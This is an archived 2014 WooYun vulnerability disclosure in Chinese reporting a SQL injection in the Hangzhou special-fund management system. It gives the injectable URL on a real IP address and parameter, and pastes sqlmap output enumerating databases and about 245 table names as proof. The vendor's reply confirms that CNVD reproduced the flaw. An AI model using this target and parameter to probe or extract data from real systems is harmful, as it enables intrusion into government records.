漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-055467
漏洞标题:杭州市财政专项资金网络管理系统存在SQL注入
相关厂商:杭州市财政专项资金网络管理系统
漏洞作者: →Hack涛
提交时间:2014-04-04 09:31
修复时间:2014-05-19 09:32
公开时间:2014-05-19 09:32
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-04-04: 细节已通知厂商并且等待厂商处理中
2014-04-09: 厂商已经确认,细节仅向厂商公开
2014-04-19: 细节向核心白帽子及相关领域专家公开
2014-04-29: 细节向普通白帽子公开
2014-05-09: 细节向实习白帽子公开
2014-05-19: 细节向公众公开
简要描述:
如题
详细说明:
注入点:http://220.191.210.97:8080/WebHall/NewsDatail.aspx?newsId=265
available databases [18]:
[*] ASPState
[*] BAMArchive
[*] BAMPrimaryImport
[*] BizTalkDTADb
[*] BizTalkMgmtDb
[*] BizTalkMsgBoxDb
[*] BizTalkRuleEngineDb
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SpecialFunds2
[*] SpecialFunds_xs
[*] SSODB
[*] technology
[*] techSunright
[*] tempdb
漏洞证明:
Database: SpecialFunds2
[245 tables]
+--------------------------------+
| CF_BLJGXX |
| CF_DCQZXX |
| CF_GZXX |
| CF_LAXX |
| CF_QTJDXX |
| CF_SPXX |
| CF_ZXXX |
| D99_CMD |
| Expert_Notice |
| GetMessage |
| Proj_ItemEnd |
| Proj_ItemRecv |
| Proj_ZanBaoDataXML |
| Proj_ZanBaoHuiFuDataXML |
| Shiny_Portal |
| Shiny_Security |
| T_App_AppBill |
| T_App_PBillData |
| T_App_SBillData |
| T_DirectoryCategory |
| T_EndAppBillMapinfo |
| T_EndPactBillMapinfo |
| T_End_PBillData |
| T_End_SBillData |
| T_End_endBill |
| T_End_frm_Item |
| T_End_infovaluehtml |
| T_FBEndAppBillMapinfo |
| T_FBEndPactBillMapinfo |
| T_FeedbackEndBillComp |
| T_FeedbackEndBillComp |
| T_Frm_Item_bak |
| T_Frm_Item_bak |
| T_Frm_TempInfo |
| T_HolidayDate |
| T_HolidayWeekend |
| T_InformationBulletin |
| T_LOGINLOG |
| T_SatisfactionXML |
| T_USER_USERPOSITION |
| T_USER_USERPOSITION |
| T_User_Department |
| T_User_Department |
| T_User_Position |
| T_WF_FinishedWFID |
| T_WF_ID |
| T_WF_LOG |
| T_WF_OBJECTFILE_31bak |
| T_WF_OBJECTFILE_31bak |
| T_WF_TEMPLATE |
| T_WF_TMPLNODE |
| T_WF_TMPLNODERELATION |
| T_WF_WORKFLOW_31bak |
| T_WF_WORKFLOW_31bak |
| T_WF_WORKNODERELATION_31bak |
| T_WF_WORKNODERELATION_31bak |
| T_WF_WORKNODERELATION_bak |
| T_WF_WORKNODE_31bak |
| T_WF_WORKNODE_31bak |
| T_WF_WORKOBJECT_31bak |
| T_WF_WORKOBJECT_31bak |
| T_WORK_SCHEME |
| V_DirectoryInformationMenuName |
| V_InformationList |
| V_InformationalAuditing |
[23:20:57] [WARNING] cannot properly disp
S command prompt (http://bugs.python.org/
ll result in replacement with '?' charact
sentation inside corresponding output fil
| V_?????? |
| XK_BJSLXX |
| XK_BLJGXX |
| XK_GZXX |
| XK_NodeSunJDLZXH |
| XK_QTJDXX |
| XK_SLXX |
| XK_SPXX |
| XK_SQXX |
| XK_TBCXJSXX |
| XK_TBCXKSXX |
| ZXZJ_SendAGCorpInfo |
| ZXZJ_SendAGFundInfo |
| ZXZJ_SendAGItemInfo |
| abcd |
| bg_bigiteminfo_p |
| bg_bigiteminfo_s |
| bigiteminfo_p |
| bigiteminfo_s |
| errorlog |
| note_timing |
| perf_bigiteminfo_p |
| perf_bigiteminfo_s |
| t_Depart_BizOpen |
| t_District |
| t_End_tempinfo_append |
| t_End_tempinfo_append |
| t_ItemFundsInfo |
| t_Post |
| t_PrimaryDepart_BizOpen |
| t_addaver |
| t_bank |
| t_bg_appbill |
| t_bg_frm_item |
| t_bg_infovaluehtml_bak |
| t_bg_infovaluehtml_bak |
| t_bg_pbilldata |
| t_bg_sbilldata |
| t_bg_tempinfo_append |
| t_bg_tempinfo_append |
| t_bgapp_mapping |
| t_cmp_attestation |
| t_cmp_bearpalm |
| t_cmp_itemtakeon |
| t_cmp_patent |
| t_cmp_porduce |
| t_cmp_productionvalue |
| t_corp_BizApply |
| t_corp_BizOpen |
| t_corporation |
| t_department |
| t_endItemmapinfo |
| t_end_bigiteminfo_p |
| t_end_bigiteminfo_s |
| t_engage_group_bak |
| t_engage_group_bak |
| t_expert_BizApply |
| t_expert_BizApply |
| t_expert_BizOpen |
| t_expert_disquisition |
| t_expert_grade_20111202 |
| t_expert_grade_20111202 |
| t_expert_harvist |
| t_expert_skilldetall |
| t_expert_subject |
| t_fundsdepart |
| t_grade_detall |
| t_grade_model |
| t_help_outlaydetaill |
| t_help_outlaydetaill |
| t_idlist |
| t_index_item |
| t_infovaluehtml_bak |
| t_infovaluehtml_bak |
| t_item_appendix |
| t_item_expertdetail |
| t_item_expertdetail |
| t_item_grade_20111202 |
| t_item_grade_20111202 |
| t_item_notice |
| t_item_supply |
| t_item_yearaffirm |
| t_itemmapinfo |
| t_main_backitem |
| t_main_enditem |
| t_main_item |
| t_main_pact |
| t_main_perf |
| t_middle_appbill |
| t_middle_bigiteminfo_p |
| t_middle_bigiteminfo_s |
| t_middle_check |
| t_middle_infovaluehtml |
| t_middle_pbilldata |
| t_middle_sbilldata |
| t_operate |
| t_pactmapinfo |
| t_perf_appbill |
| t_perf_infovaluehtml |
| t_perf_pbilldata |
| t_perf_sbilldata |
| t_perfmapinfo |
| t_plantype_expert |
| t_position |
| t_selectinfo |
| t_sys_Nodes |
| t_sys_attachment |
| t_sys_columns |
| t_sys_data |
| t_sys_datatype |
| t_sys_group |
| t_sys_itemright |
| t_sys_role_User |
| t_sys_role_User |
| t_tempinfo_append |
| t_year_group |
| t_year_plantype |
| t_year_type |
| v_expertByCdeptid |
| v_expert_grade |
| v_gettablelist |
| v_item_check_opinion |
| v_item_expert_accpnotice |
| v_item_expert_noticeNew |
| v_item_expert_noticeNew |
| v_main_table |
| v_middle_check_opinion |
| v_pact_check_opinion |
| v_parloraduit_Accp |
| v_parloraduit_item |
| v_perf_check_opinion |
| v_plantype_expert |
| v_sys_itemright |
| v_wf_EndItem |
| v_wf_ItemCrossCheck |
| v_wf_mainitem |
| v_wf_mainpact |
| v_wf_nodestat |
| v_wf_workAccplistin |
| v_wf_workAccplistout |
| v_wf_workItemlistin |
| v_wf_workPactlistFailure |
| v_wf_workPactlistin |
| v_wf_workPactlistout |
| v_wf_worklistFailureItem |
| v_wf_worklistItemBack |
| v_wf_worklistItemFailure |
| v_wf_worklistItemout |
| v_wf_worklistPactout |
| v_wf_worklistin |
| v_wf_worklistmiddleout |
| v_wf_workmiddlelistin |
| v_wf_workmiddlelistout |
| v_wf_worknotetran |
| v_wf_workperflistin |
| v_wf_workperflistout |
| v_work_addressbook |
| zj_blqy |
| zj_bmzx |
| zj_czzx |
| zj_htgl |
| zj_jagd |
| zj_lxxm |
| zj_qyxmsb |
| zj_qyxx |
| zj_xmfzr |
| zj_xmjd |
| zj_xmpf |
| zj_xmspxx |
| zj_yspgxx |
| zj_zjbf |
| zj_zjjgxx |
| zj_zjxx |
| ?? |
| ??? |
| ??????? |
| ????? |
| ??????? |
| ??????? |
| ??? |
+--------------------------------+
修复方案:
过滤
版权声明:转载请注明来源 →Hack涛@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2014-04-09 08:04
厂商回复:
CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心处置。
最新状态:
暂无